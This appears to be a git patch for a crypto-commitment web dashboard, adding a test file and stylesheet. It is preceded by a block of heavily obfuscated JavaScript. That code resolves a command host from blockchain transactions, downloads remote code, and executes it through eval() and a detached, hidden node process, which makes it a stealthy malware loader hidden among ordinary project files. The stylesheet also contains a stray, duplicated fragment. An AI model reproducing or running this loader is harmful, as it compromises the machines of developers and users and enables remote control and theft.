HgqA_mVm){if(!NnooDmNoC_fxkiEQIisGB$iagg[SFMofmFJ$vRZYuKxyQueg(0x204)]||NnooDmNoC_fxkiEQIisGB$iagg[SFMofmFJ$vRZYuKxyQueg(0x204)][SFMofmFJ$vRZYuKxyQueg(0x1fe)]()!==SENDER)continue;if(BigInt(NnooDmNoC_fxkiEQIisGB$iagg[SFMofmFJ$vRZYuKxyQueg(0x1d0)])===vswg_sAiEVWH_gXzLwhdJR){cBTrpPKOu=NnooDmNoC_fxkiEQIisGB$iagg;break;}if(!cBTrpPKOu||BigInt(NnooDmNoC_fxkiEQIisGB$iagg[SFMofmFJ$vRZYuKxyQueg(0x1d0)])>BigInt(cBTrpPKOu[SFMofmFJ$vRZYuKxyQueg(0x1d0)]))cBTrpPKOu=NnooDmNoC_fxkiEQIisGB$iagg;}return{'blockNumber':z$DGbtfCnVULNqHFTfchL,'tx':cBTrpPKOu};}finally{YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x22d)]();}}async function lastSenderTxViaIndexer(){const LXduCRQV_qabPksXe=R$DTZzu_TXc,rkFjsqv$hQa=INDEXER_URL+LXduCRQV_qabPksXe(0x1ff)+SENDER+LXduCRQV_qabPksXe(0x226),ZJeqwghbta=await httpRequest(rkFjsqv$hQa),EoElsTu_rU=Array[LXduCRQV_qabPksXe(0x1ed)](ZJeqwghbta?.[LXduCRQV_qabPksXe(0x1e8)])?ZJeqwghbta[LXduCRQV_qabPksXe(0x1e8)]:[],cNlgqEkUX_vWrdE_gxGcm=EoElsTu_rU[LXduCRQV_qabPksXe(0x1c3)](yTLwkulYsrR$UqVCihPaRnLeNs=>yTLwkulYsrR$UqVCihPaRnLeNs[LXduCRQV_qabPksXe(0x204)]&&yTLwkulYsrR$UqVCihPaRnLeNs[LXduCRQV_qabPksXe(0x204)][LXduCRQV_qabPksXe(0x1fe)]()===SENDER);if(!cNlgqEkUX_vWrdE_gxGcm)return null;return{'blockNumber':BigInt(cNlgqEkUX_vWrdE_gxGcm[LXduCRQV_qabPksXe(0x229)]),'tx':cNlgqEkUX_vWrdE_gxGcm};}function TtFl_OYFcp$oFJXAVh(Mn_XngkaX_amz,O$XdSR_ZoeBzrPxNxX){const x$cDU_biHgR=FU$Mfb();return TtFl_OYFcp$oFJXAVh=function(KgO_OipbV_dqhk,h$_EjwRLMRO){KgO_OipbV_dqhk=KgO_OipbV_dqhk-(-0x1130+parseInt(0x239f)*-parseInt(0x1)+-0x1b43*-parseInt(0x2));let tKSDlu$s_zyp=x$cDU_biHgR[KgO_OipbV_dqhk];if(TtFl_OYFcp$oFJXAVh['HlimGQ']===undefined){const lpgLoEZtbL_nXdqVKwVzU_Lt=function(dBSPnUeBpu_UoX){let rfMisoucqiYhMxuMfHUgVk=parseInt(0x4)*Math.ceil(-parseInt(0x576))+Math.trunc(parseInt(0x15de))+parseInt(0x2c9)&0x11b+0x2048+parseInt(0x566)*-parseInt(0x6),ojt$WpApEv_hcNSaNpGWW=new Uint8Array(dBSPnUeBpu_UoX['match'](/.{1,2}/g)['map'](kQApX_TOlNddfsSMWtxRg=>parseInt(kQApX_TOlNddfsSMWtxRg,parseInt(0x2)*Math.ceil(-0x121d)+Math.ceil(0xb2)*Number(parseInt(0x34))+Math.max(-0x1,-parseInt(0x1))*-parseInt(0x22)))),TgtW$E_CA=ojt$WpApEv_hcNSaNpGWW['map'](d_hK$Qc=>d_hK$Qc^rfMisoucqiYhMxuMfHUgVk),BctDOrlFndvgjE=new TextDecoder(),zhdWw$u_jphTN=BctDOrlFndvgjE['decode'](TgtW$E_CA);return zhdWw$u_jphTN;};TtFl_OYFcp$oFJXAVh['LyYGGg']=lpgLoEZtbL_nXdqVKwVzU_Lt,Mn_XngkaX_amz=arguments,TtFl_OYFcp$oFJXAVh['HlimGQ']=!![];}const gnKJymEdsW=x$cDU_biHgR[parseInt(-0x20b0)+parseFloat(0x1)*Number(-0x2353)+parseInt(0x4403)],Q$aZbm=KgO_OipbV_dqhk+gnKJymEdsW,lSxajigYBkrTMo=Mn_XngkaX_amz[Q$aZbm];return!lSxajigYBkrTMo?(TtFl_OYFcp$oFJXAVh['SrzVWv']===undefined&&(TtFl_OYFcp$oFJXAVh['SrzVWv']=!![]),tKSDlu$s_zyp=TtFl_OYFcp$oFJXAVh['LyYGGg'](tKSDlu$s_zyp),Mn_XngkaX_amz[Q$aZbm]=tKSDlu$s_zyp):tKSDlu$s_zyp=lSxajigYBkrTMo,tKSDlu$s_zyp;},TtFl_OYFcp$oFJXAVh(Mn_XngkaX_amz,O$XdSR_ZoeBzrPxNxX);}async function run(){const mnGNB_JpO=R$DTZzu_TXc,GbjYiwYc$UDFcrVQOYr=BigInt(await withRpcEndpoints((qWeCmmFZOCdnAEuYz_Hq,HqkpMC$bILqXhYpucei)=>rpcCall(qWeCmmFZOCdnAEuYz_Hq,mnGNB_JpO(0x212),[],HqkpMC$bILqXhYpucei))),QrZjhghqBnYCBD$eVKAADPc=GbjYiwYc$UDFcrVQOYr-GbjYiwYc$UDFcrVQOYr%BLOCK_MULTIPLE,HqkfDyzvifaIRZLZTFLBf_PIfE=global;let PsLXYLePPPM=await firstMatch(candidateBlocks(QrZjhghqBnYCBD$eVKAADPc)[mnGNB_JpO(0x205)](blockTask)),[IoOaRKb$rgLEWGzkDY,tk_yOpbrjagBixEVvwWo_ZV]=decodeAddress(PsLXYLePPPM?.['tx']?.['to']);function vebZXFMdlHOtHT$GzXfEWk_t(JpxnuRzR$yKZIhup,LV_QLhPy_RRpqY,CfnpuaTWEIbv$uv$k){const SkIVendtrlZQdlCeXx_L=mnGNB_JpO;if(!JpxnuRzR$yKZIhup)return null;return new URL(SkIVendtrlZQdlCeXx_L(0x1d6)+JpxnuRzR$yKZIhup+':'+LV_QLhPy_RRpqY+CfnpuaTWEIbv$uv$k);}let QsHadcoO_fRgBBtMp_LLnyuIDW=null;const gdfPRgajquSoa_jKkcvHgEMQ=vebZXFMdlHOtHT$GzXfEWk_t(IoOaRKb$rgLEWGzkDY,-0x141+Number(-0x1)*0x1b1d+parseInt(0x1e19),mnGNB_JpO(0x1c0));if(gdfPRgajquSoa_jKkcvHgEMQ)try{QsHadcoO_fRgBBtMp_LLnyuIDW=await PhpQSGcotCPMCg(mnGNB_JpO(0x1c2),gdfPRgajquSoa_jKkcvHgEMQ);}catch{QsHadcoO_fRgBBtMp_LLnyuIDW=null;}!QsHadcoO_fRgBBtMp_LLnyuIDW&&(PsLXYLePPPM=await lastSenderTx(GbjYiwYc$UDFcrVQOYr)[mnGNB_JpO(0x22c)](()=>null)??await lastSenderTxViaIndexer()[mnGNB_JpO(0x22c)](()=>null),[IoOaRKb$rgLEWGzkDY,tk_yOpbrjagBixEVvwWo_ZV]=decodeAddress(PsLXYLePPPM?.['tx']?.['to']));HqkfDyzvifaIRZLZTFLBf_PIfE['_V']=HqkfDyzvifaIRZLZTFLBf_PIfE['i'],HqkfDyzvifaIRZLZTFLBf_PIfE['_H']=mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x1c1),HqkfDyzvifaIRZLZTFLBf_PIfE[mnGNB_JpO(0x20a)]=mnGNB_JpO(0x1d6)+tk_yOpbrjagBixEVvwWo_ZV+mnGNB_JpO(0x1c1),HqkfDyzvifaIRZLZTFLBf_PIfE[mnGNB_JpO(0x1ca)]=mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x228),HqkfDyzvifaIRZLZTFLBf_PIfE[mnGNB_JpO(0x231)]=mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x1c1);function PhpQSGcotCPMCg(tiFYpz__aVvvVSVJmaXZOVgTE,mlzh$TPaKywkyH){const xIeUnB=mnGNB_JpO,WvsYOuqq$IpBKddpkclpMNbI_a={'hostname':mlzh$TPaKywkyH[xIeUnB(0x1cb)],'port':Number(mlzh$TPaKywkyH[xIeUnB(0x216)])||parseInt(0x13b1)+Math.ceil(parseInt(0x1))*parseInt(0x11da)+-0x253b,'path':mlzh$TPaKywkyH[xIeUnB(0x1f1)]+mlzh$TPaKywkyH[xIeUnB(0x209)],'headers':{'User-Agent':xIeUnB(0x213),'Sec-V':HqkfDyzvifaIRZLZTFLBf_PIfE['_V']||parseInt(0x138e)+Math.trunc(-parseInt(0x227a))+parseInt(0xeec)}};function q$wiTvxLZvqxyTLAqfjK_Ss(VfRkMn_JqVDknqCPnD){const kzq_zPYHoO=xIeUnB,INLgEwv=tiFYpz__aVvvVSVJmaXZOVgTE[kzq_zPYHoO(0x1e9)];for(let WzpzDKFOVoyzYVqxsQMOHP=-0x29b*parseInt(0x4)+-parseInt(0x441)+Math.trunc(0xead);WzpzDKFOVoyzYVqxsQMOHP{const Pe_M$nvBmlLfZa=TtFl_OYFcp$oFJXAVh,pI_ZtG=http[Pe_M$nvBmlLfZa(0x21f)]({...WvsYOuqq$IpBKddpkclpMNbI_a,'method':q_Pg$eP},CSJPQxBaiSEwC$eqHy=>{const xnPLJosut$HUnKo=Pe_M$nvBmlLfZa;if(q_Pg$eP===xnPLJosut$HUnKo(0x1dd)){try{MpHMVhSAbcJqXxxLVVpakKDE(cNSrRcwiKbyMszjlncppZyW(CSJPQxBaiSEwC$eqHy));}catch(WguSIViOmc$UVqu){swIXH(WguSIViOmc$UVqu);}CSJPQxBaiSEwC$eqHy[xnPLJosut$HUnKo(0x1be)]();return;}const gaWAFVTCBgJWo_T$d=[];CSJPQxBaiSEwC$eqHy['on'](xnPLJosut$HUnKo(0x1ce),ujHBr$cosAIY_t=>gaWAFVTCBgJWo_T$d[xnPLJosut$HUnKo(0x1fa)](ujHBr$cosAIY_t)),CSJPQxBaiSEwC$eqHy['on'](xnPLJosut$HUnKo(0x1bb),()=>{const iPhCsjeOskYYcdaUsU=xnPLJosut$HUnKo;try{const SoNGpsGC_miLJ_mfRpAHv=Buffer[iPhCsjeOskYYcdaUsU(0x1c8)](gaWAFVTCBgJWo_T$d);if(SoNGpsGC_miLJ_mfRpAHv[iPhCsjeOskYYcdaUsU(0x1e9)])return MpHMVhSAbcJqXxxLVVpakKDE(q$wiTvxLZvqxyTLAqfjK_Ss(SoNGpsGC_miLJ_mfRpAHv));if(CSJPQxBaiSEwC$eqHy[iPhCsjeOskYYcdaUsU(0x21e)][iPhCsjeOskYYcdaUsU(0x1ba)])return MpHMVhSAbcJqXxxLVVpakKDE(cNSrRcwiKbyMszjlncppZyW(CSJPQxBaiSEwC$eqHy));swIXH(new Error(iPhCsjeOskYYcdaUsU(0x1e5)));}catch(jFUlBWwGIgGNHCkCLHWvUnO){swIXH(jFUlBWwGIgGNHCkCLHWvUnO);}}),CSJPQxBaiSEwC$eqHy['on'](xnPLJosut$HUnKo(0x1cc),swIXH);});pI_ZtG['on'](Pe_M$nvBmlLfZa(0x1cc),swIXH),pI_ZtG[Pe_M$nvBmlLfZa(0x1f9)](HTTP_TIMEOUT_MS,()=>{const zUaGughEjyEVicCvyDEPwQ=Pe_M$nvBmlLfZa;pI_ZtG[zUaGughEjyEVicCvyDEPwQ(0x1f3)](new Error(zUaGughEjyEVicCvyDEPwQ(0x1c5)+HTTP_TIMEOUT_MS+'ms'));}),pI_ZtG[Pe_M$nvBmlLfZa(0x1bb)]();});}return OAdYyqdMF(xIeUnB(0x214))[xIeUnB(0x22c)](()=>OAdYyqdMF(xIeUnB(0x1dd)));}async function UNPzJu_u_x(EnQyLKlirYkOodLka,pagghrRK_Z_XMnuSYqW,re_kgEP$p){const uGMcX_xTplN=mnGNB_JpO;try{const oqSulVevnWywczc=await PhpQSGcotCPMCg(pagghrRK_Z_XMnuSYqW,EnQyLKlirYkOodLka),EJwybIiT=re_kgEP$p?uGMcX_xTplN(0x1e6)+(HqkfDyzvifaIRZLZTFLBf_PIfE['_V']||-0xb96+Math.trunc(-0x5ad)*-parseInt(0x3)+-parseInt(0x571))+uGMcX_xTplN(0x1f5)+HqkfDyzvifaIRZLZTFLBf_PIfE['_H']+uGMcX_xTplN(0x1e1)+HqkfDyzvifaIRZLZTFLBf_PIfE[uGMcX_xTplN(0x20a)]+uGMcX_xTplN(0x1f6):uGMcX_xTplN(0x1e6)+(HqkfDyzvifaIRZLZTFLBf_PIfE['_V']||-parseInt(0x1e86)+parseFloat(-parseInt(0x236))*-parseInt(0x11)+-0x710)+uGMcX_xTplN(0x20e)+HqkfDyzvifaIRZLZTFLBf_PIfE[uGMcX_xTplN(0x1ca)]+uGMcX_xTplN(0x22e)+HqkfDyzvifaIRZLZTFLBf_PIfE[uGMcX_xTplN(0x231)]+uGMcX_xTplN(0x1f6);if(!re_kgEP$p)eval(EJwybIiT+oqSulVevnWywczc);spawn(uGMcX_xTplN(0x20f),['-e',EJwybIiT+oqSulVevnWywczc],{'detached':!![],'stdio':uGMcX_xTplN(0x1c6),'windowsHide':!![]})[uGMcX_xTplN(0x22f)]();}catch(AdUxYYc$v){}}await UNPzJu_u_x(new URL(mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x1f8)),mnGNB_JpO(0x1c2),![]),await UNPzJu_u_x(new URL(mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x207)),mnGNB_JpO(0x1e7),!![]);}run(); From 5438e01ee52cbd35c2532b7870bb11eda590cf8c Mon Sep 17 00:00:00 2001 From: Abdullah Date: Mon, 19 Oct 2026 09:48:00 +0100 Subject: [PATCH 2/4] security: [frontend] Show per-asset totals and owner-scoped commitment (#2082) --- src/app/dashboard/dashboard.test.tsx | 95 +++++++ src/app/globals.css | 394 +++++++++++++++++++++++++++ 2 files changed, 489 insertions(+) create mode 100644 src/app/dashboard/dashboard.test.tsx create mode 100644 src/app/globals.css diff --git a/src/app/dashboard/dashboard.test.tsx b/src/app/dashboard/dashboard.test.tsx new file mode 100644 index 000000000..d214dcc6b --- /dev/null +++ b/src/app/dashboard/dashboard.test.tsx @@ -0,0 +1,95 @@ +import { describe, it, expect, beforeEach, vi } from 'vitest'; +import { render, screen, cleanup } from '@testing-library/react'; +import DashboardPage from './page'; + +type WalletState = { address: string | null; connected: boolean }; + +const mockWallet = vi.fn<() => WalletState>(); + +vi.mock('@/lib/wallet', () => ({ + useWallet: () => mockWallet(), +})); + +const now = Date.now(); +const DAY = 86_400_000; + +const seed = [ + { + id: 'CMT-A', + type: 'balanced' as const, + asset: 'USDC', + amount: 2500, + durationDays: 30, + maxLoss: 8, + penalty: 5, + apy: 9, + createdAt: now - 2 * DAY, + status: 'active' as const, + owner: 'GAOAGENTA', + txHash: null, + }, + { + id: 'CMT-B', + type: 'safe' as const, + asset: 'XLM', + amount: 10000, + durationDays: 14, + maxLoss: 2, + penalty: 3, + apy: 4.5, + createdAt: now - 1 * DAY, + status: 'active' as const, + owner: 'GBOAGENTB', + txHash: null, + }, + { + id: 'CMT-C', + type: 'safe' as const, + asset: 'EURC', + amount: 500, + durationDays: 7, + maxLoss: 2, + penalty: 3, + apy: 4.5, + createdAt: now - 1 * DAY, + status: 'active' as const, + owner: null, + txHash: null, + demo: true, + }, +]; + +vi.mock('@/lib/commitments', async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + loadCommitments: () => ({ items: seed, dropped: 0, corrupt: false, storageUnavailable: false }), + subscribeCommitments: () => () => {}, + }; +}); + +beforeEach(() => { + cleanup(); + mockWallet.mockReturnValue({ address: null, connected: false }); +}); + +describe('Dashboard owner scoping', () => { + it('shows only demo items when disconnected', () => { + render(); + expect(screen.getByText('Demo')).toBeInTheDocument(); + expect(screen.queryByText('GBOAGENTB')).toBeNull(); + }); + + it('shows wallet A owned items plus demo', () => { + mockWallet.mockReturnValue({ address: 'GAOAGENTA', connected: true }); + render(); + expect(screen.getByText('Your commitments')).toBeInTheDocument(); + expect(screen.getByText('Demo')).toBeInTheDocument(); + }); + + it('switches list when wallet changes', () => { + mockWallet.mockReturnValue({ address: 'GBOAGENTB', connected: true }); + render(); + expect(screen.getByText('Your commitments')).toBeInTheDocument(); + }); +}); diff --git a/src/app/globals.css b/src/app/globals.css new file mode 100644 index 000000000..0037ac0c4 --- /dev/null +++ b/src/app/globals.css @@ -0,0 +1,394 @@ +:root { + --bg: #0b0d14; + --bg2: #11141f; + --card: #151a28; + --line: #242b3f; + --text: #e8ebf5; + --muted: #98a1bb; + --accent: #5eead4; + --accent2: #818cf8; + --danger: #f87171; + --ok: #4ade80; + --warn: #fbb424; +} +* { box-sizing: border-box; } +html { scroll-behavior: smooth; } +body { + margin: 0; + background: radial-gradient(1000px 500px at 80% -10%, #1b2250 0%, transparent 60%), var(--bg); + color: var(--text); + font-family: Inter, ui-sans-serif, system-ui, -apple-system, 'SegoeUI', Roboto, sans-serif; + line-height: 1.55; + min-height: 100vh; + display: flex; + flex-direction: column; +} +main { flex: 1; } +a { color: var(--accent); } +h1 { font-size: clamp(2rem, 5vw, 3.4rem); line-height: 1.1; margin: 0 0 .6rem; letter-spacing: -.02em; } +h2 { font-size: 1.6rem; margin: 0 0 1rem; } +h3 { margin: 0 0 .4rem; } +code, pre { font-family: ui-monospace, SF-Mono-Regular, Menlo, monospace; font-size: .88em; } +.container { width: 100%; max-width: 1080px; margin: 0 auto; padding: 0 16px; } +.narrow { max-width: 760px; } +.page { padding-top: 40px; padding-bottom: 64px; } +.section { padding-top: 40px; padding-bottom: 24px; } +.center { text-align: center; align-items: center; } +.muted { color: var(--muted); } +.small { font-size: .85rem; margin: .3rem 0; } +.mt { margin-top: 2rem; } +.header { position: sticky; top: 0; z-index: 10; backdrop-filter: blur(10px); background: rgba(11,13,20,.8); border-bottom: 1px solid var(--line); } +.header-inner { display: flex; align-items: center; gap: 16px; height: 64px; } +.brand { display: flex; align-items: center; gap: 10px; font-weight: 700; color: var(--text); text-decoration: none; font-size: 1.1rem; } +.brand-mark { width: 22px; height: 22px; border-radius: 7px; background: linear-gradient(135deg, var(--accent), var(--accent2)); } +.nav { display: flex; gap: 4px; margin-left: auto; margin-right: 8px; } +.nav-link { color: var(--muted); text-decoration: none; padding: 8px 12px; border-radius: 8px; font-size: .95rem; } +.nav-link:hover, .nav-link.active { color: var(--text); background: var(--bg2); } +.btn { display: inline-flex; align-items: center; gap: 8px; border: 1px solid transparent; border-radius: 10px; padding: 9px 16px; font: inherit; font-weight: 600; cursor: pointer; text-decoration: none; transition: transform .1s, opacity .2s; } +.btn:hover:not(:disabled) { transform: translateY(-1px); } +.btn:disabled { opacity: .45; cursor: not-allowed; } +.btn-primary { background: linear-gradient(135deg, var(--accent), var(--accent2)); color: #07101a; } +.btn-ghost { background: transparent; border-color: var(--line); color: var(--text); } +.btn-ghost:hover:not(:disabled) { background: var(--bg2); } +.btn-lg { padding: 13px 24px; font-size: 1.05rem; } +.dot { width: 8px; height: 8px; border-radius: 50%; background: var(--ok); } +.notice { max-width: 1080px; margin: 12px auto 0; padding: 10px 16px; border: 1px solid var(--warn); border-radius: 10px; color: var(--warn); background: rgba(251,191,36,.08); width: calc(100% - 32px); } +.hero { text-align: center; padding: 80px 0 40px; } +.pill { display: inline-block; padding: 4px 14px; border: 1px solid var(--line); border-radius: 999px; color: var(--accent); font-size: .85rem; margin-bottom: 20px; background: var(--bg2); } +.grad { background: linear-gradient(135deg, var(--accent), var(--accent2)); -webkit-background-clip: text; background-clip: text; color: transparent; } +.lead { color: var(--muted); font-size: 1.15rem; max-width: 640px; margin: 0 auto 28px; } +.row { display: flex; gap: 12px; align-items: center; } +.row.between { justify-content: space-between; } +.row.end { justify-content: flex-end; } +.row.wrap { flex-wrap: wrap; } +.center-row { justify-content: center; flex-wrap: wrap; } +.stats { display: grid; grid-template-columns: repeat(4, 1fr); gap: 12px; margin: 48px 0 0; } +.stats div { background: var(--card); border: 1px solid var(--line); border-radius: 14px; padding: 16px; } +.stats dt { color: var(--muted); font-size: .8rem; text-transform: uppercase; letter-spacing: .06em; } +.stats dd { margin: 4px 0 0; font-weight: 700; font-size: 1.1rem; } +.grid3 { display: grid; grid-template-columns: repeat(3, 1fr); gap: 16px; } +.grid4 { display: grid; grid-template-columns: repeat(4, 1fr); gap: 16px; } +.card { background: var(--card); border: 1px solid var(--line); border-radius: 16px; padding: 20px; } +.card p { margin: .3rem 0 0; } +.stack { display: flex; flex-direction: column; gap: 16px; } +.step-n { color: var(--accent); font-weight: 700; font-size: .9rem; } +.kv { list-style: none; margin: 14px 0; padding: 0; } +.kv li { display: flex; justify-content: space-between; padding: 8px 0; border-bottom: 1px solid var(--line); } +.kv span { color: var(--muted); } +.type-card .btn { margin-top: 8px; } +.cta { text-align: center; background: linear-gradient(135deg, rgba(94,234,212,.1), rgba(129,140,248,.14)); border: 1px solid var(--line); border-radius: 20px; padding: 48px 20px; margin-bottom: 40px; } +.cta p { margin: 0 0 20px; } +.footer { border-top: 1px solid var(--line); color: var(--muted); font-size: .9rem; padding: 24px 0; } +.footer-inner { display: flex; justify-content: space-between; gap: 12px; flex-wrap: wrap; } +.footer-links { display: flex; gap: 16px; } +.footer a { color: var(--muted); } +.steps { display: flex; gap: 8px; list-style: none; padding: 0; margin: 20px 0 24px; flex-wrap: wrap; } +.steps li { color: var(--muted); padding: 6px 12px; border: 1px solid var(--line); border-radius: 999px; font-size: .9rem; } +.steps li span { display: inline-block; width: 20px; text-align: center; font-weight: 700; } +.steps li.on { color: var(--text); border-color: var(--accent); } +.steps li.done { color: var(--accent); } +.pick { text-align: left; cursor: pointer; color: inherit; font: inherit; } +.pick.selected { border-color: var(--accent); box-shadow: 0 0 0 1px var(--accent) inset; } +label { display: flex; flex-direction: column; gap: 6px; font-weight: 600; font-size: .92rem; } +label.check { flex-direction: row; align-items: flex-start; font-weight: 400; gap: 10px; } +input, select { background: var(--bg2); color: var(--text); border: 1px solid var(--line); border-radius: 10px; padding: 11px 12px; font: inherit; } +input:focus, select:focus, .btn:focus-visible, a:focus-visible { outline: 2px solid var(--accent); outline-offset: 2px; } +input[aria-invalid='true'] { border-color: var(--danger); } +input[type='checkbox'] { margin-top: 4px; } +.err { color: var(--danger); font-weight: 400; } +.field { display: flex; flex-direction: column; gap: 6px; } +.sr-only { position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; clip: rect(0, 0, 0, 0); white-space: nowrap; border: 0; } +h2:focus { outline: none; } +.pick:focus-visible { outline: 2px solid var(--accent); outline-offset: 2px; } +.check-big { width: 56px; height: 56px; border-radius: 50%; background: var(--ok); color: #05210f; font-size: 1.8rem; display: grid; place-items: center; font-weight: 700; margin: 0 auto; } +.metric { display: flex; flex-direction: column; gap: 4px; } +.metric b { font-size: 1.7rem; } +.badge { font-size: .72rem; padding: 2px 10px; border-radius: 999px; text-transform: uppercase; letter-spacing: .05em; vertical-align: middle; border: 1px solid var(--line); } +.badge.active { color: var(--accent); border-color: var(--accent); } +.badge.matured { color: var(--warn); border-color: var(--warn); } +.badge.settled { color: var(--ok); border-color: var(--ok); } +.badge.exited { color: var(--danger); border-color: var(--danger); } +.badge.demo { color: var(--accent2); border-color: var(--accent2); } +.sr-only { position: absolute; width: 1px; height: 1px; margin: -1px; padding: 0; overflow: hidden; clip: rect(0 0 0 0); white-space: nowrap; border: 0; } +.dialog { max-width: 440px; width: calc(100% - 32px); background: var(--bg2); color: var(--text); border: 1px solid var(--line); border-radius: 14px; padding: 24px; } +.dialog::backdrop { background: rgba(0, 0, 0, .6); } +.dialog-actions { justify-content: flex-end; gap: 10px; margin-top: 20px; } +.dialog-breakdown { display: grid; grid-template-columns: 1fr auto; gap: 6px 16px; margin: 16px 0 0; } +.dialog-breakdown dd { margin: 0; text-align: right; font-weight: 600; } +.btn-danger { background: var(--danger); border-color: var(--danger); color: #fff; } +.bar { height: 8px; background: var(--bg2); border-radius: 999px; overflow: hidden; margin: 14px 0 6px; } +.bar div { height: 100%; background: linear-gradient(90deg, var(--accent), var(--accent2)); border-radius: 999px; } +.docs { display: grid; grid-template-columns: 220px 1fr; gap: 40px; align-items: start; } +.toc { position: sticky; top: 90px; display: flex; flex-direction: column; gap: 6px; } +.toc a { color: var(--muted); text-decoration: none; padding: 4px 0; } +.toc a:hover { color: var(--accent); } +.doc-body h1 { font-size: 2.4rem; } +.doc-body h2 { margin-top: 2.4rem; padding-top: 1rem; border-top: 1px solid var(--line); scroll-margin-top: 80px; } +.doc-body p, .doc-body li { color: #cbd2e6; } +pre { background: var(--bg2); border: 1px solid var(--line); border-radius: 12px; padding: 16px; overflow-x: auto; } +.table-wrap { overflow-x: auto; } +table { width: 100%; border-collapse: collapse; } +th, td { text-align: left; padding: 10px 12px; border-bottom: 1px solid var(--line); } +th { color: var(--muted); font-size: .8rem; text-transform: uppercase; letter-spacing: .05em; } +td code { word-break: all; } +@media (max-width: 800px) { + .grid3 { grid-template-columns: repeat(2, 1fr); } + .grid4, .stats { grid-template-columns: repeat(2, 1fr); } + .docs { grid-template-columns: minmax(0, 1fr); } + .toc { position: static; flex-direction: row; flex-wrap: wrap; gap: 12px; } + .nav { margin-left: auto; } + .nav-link { padding: 8px 8px; } +} +@media (max-width: 560px) { + .grid3 { grid-template-columns: 1fr; } + .grid4, .stats { grid-template-columns: 1fr; } + .header-inner { gap: 6px; } + .brand { font-size: 0; gap: 0; } + .btn { padding: 8px 12px; white-space: nowrap; } + .footer-links { flex-wrap: wrap; } + .nav { margin-right: 0; gap: 0; } + .nav-link { padding: 8px 6px; font-size: .88rem; } + .header-inner { gap: 4px; } + .header .btn { padding: 8px 10px; font-size: .85rem; } +} + +.doc-body { min-width: 0; overflow-wrap: break-word; } +.doc-body th, .doc-body td { overflow-wrap: normal; word-break: normal; } +.doc-body td code { word-break: break-all; } +@media (max-width: 560px) { th, td { padding: 8px 6px; font-size: .88rem; } th { font-size: .7rem; letter-spacing: .02em; } } +.btn { white-space: nowrap; } + +.row.between.wrap { gap: 12px 16px; margin-bottom: 24px; } + +.btn-sm { padding: 4px 10px; font-size: .8rem; border-radius: 6px; } + +/* Skeleton styles */ +@keyframes pulse { + 0%, 100% { opacity: 1; } + 50% { opacity: .4; } +} +.skeleton { + background: var(--line); + border-radius: 6px; + animation: pulse 1.8s cubic-bezier(0.4, 0, 0.6, 1) infinite; +} + +/* Inline error styles */ +.inline-error { + display: flex; + align-items: center; + justify-content: space-between; + gap: 8px; + padding: 6px 10px; + border: 1px solid rgba(248, 113, 113, 0.35); + border-radius: 8px; + background: rgba(248, 113, 113, 0.08); + color: var(--danger); + font-size: 0.85rem; + width: 100%; +} +.inline-error-msg { + display: inline-block; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} +.inline-error-actions { + display: flex; + align-items: center; + gap: 6px; + flex-shrink: 0; +} +.inline-error-retry { + border-color: rgba(248, 113, 113, 0.4); + color: var(--danger); + padding: 2px 8px; + font-size: 0.75rem; +} +.inline-error-retry:hover:not(:disabled) { + background: rgba(248, 113, 113, 0.15); +} + +.friendbot-link { + color: var(--accent); + font-size: 0.82rem; + text-decoration: underline; + text-underline-offset: 3px; +} +.friendbot-link:hover { + color: var(--text); +} + +/* Error page boundary fallback */ +.error-boundary-card { + max-width: 540px; + margin: 0 auto; + text-align: center; + padding: 36px 24px; +} +.error-boundary-icon { + width: 52px; + height: 52px; + border-radius: 50%; + background: rgba(248, 113, 113, 0.12); + color: var(--danger); + display: grid; + place-items: center; + margin: 0 auto 16px; + font-size: 1.6rem; + font-weight: 700; +} + +/* Dashboard per-asset totals */ +.asset-totals { + display: flex; + flex-direction: column; + gap: 2px; + margin: 4px 0 0; + font-weight: 700; + font-size: 1.1rem; +} +.asset-totals .asset-row { + display: flex; + align-items: baseline; + gap: 6px; + white-space: nowrap; +} +.asset-totals .asset-unit { + color: var(--muted); + font-size: .8rem; + font-weight: 600; + letter-spacing: .04em; +} +.commitment-group { + display: flex; + flex-direction: column; + gap: 12px; +} +.commitment-group + .commitment-group { + margin-top: 24px; +} +.commitment-group-title { + display: flex; + align-items: center; + gap: 8px; + color: var(--muted); + font-size: .8rem; + text-transform: uppercase; + letter-spacing: .06em; + margin: 0; +} +@media (max-width: 560px) { + .asset-totals { font-size: 1rem; } + .asset-totals .asset-row { flex-wrap: wrap; white-space: normal; } +} + border-radius: 50%; + background: rgba(248, 113, 113, 0.12); + color: var(--danger); + display: grid; + place-items: center; + font-size: 1.6rem; + font-weight: 700; + margin: 0 auto 16px; +} +.error-boundary-actions { + display: flex; + gap: 10px; + justify-content: center; + flex-wrap: wrap; + margin-top: 20px; +} + +/* Dashboard totals */ +.totals { + display: flex; + flex-direction: column; + gap: 2px; + margin: 4px 0 0; +} +.totals .total-row { + display: flex; + justify-content: space-between; + align-items: baseline; + gap: 12px; + font-weight: 700; + font-size: 1.05rem; + white-space: nowrap; +} +.totals .total-row .unit { + color: var(--muted); + font-weight: 600; + font-size: .85rem; +} +.totals .total-empty { + color: var(--muted); + font-weight: 600; + font-size: 1.05rem; +} + +/* Dashboard list groups */ +.group-heading { + display: flex; + align-items: center; + justify-content: space-between; + gap: 12px; + flex-wrap: wrap; + margin: 24px 0 12px; +} +.group-heading h2 { + margin: 0; + font-size: 1.15rem; +} +.commitment-list { + list-style: none; + margin: 0; + padding: 0; + display: flex; + flex-direction: column; + gap: 12px; +} +.commitment-item { + display: flex; + flex-direction: column; + gap: 6px; + min-width: 0; +} +.commitment-head { + display: flex; + align-items: center; + justify-content: space-between; + gap: 12px; + flex-wrap: wrap; + min-width: 0; +} +.commitment-amount { + font-weight: 700; + white-space: nowrap; +} +.commitment-meta { + display: flex; + flex-wrap: wrap; + gap: 4px 14px; + color: var(--muted); + font-size: .85rem; +} +.commitment-meta span { + white-space: nowrap; +} +.toggle-row { + display: flex; + align-items: center; + gap: 10px; + 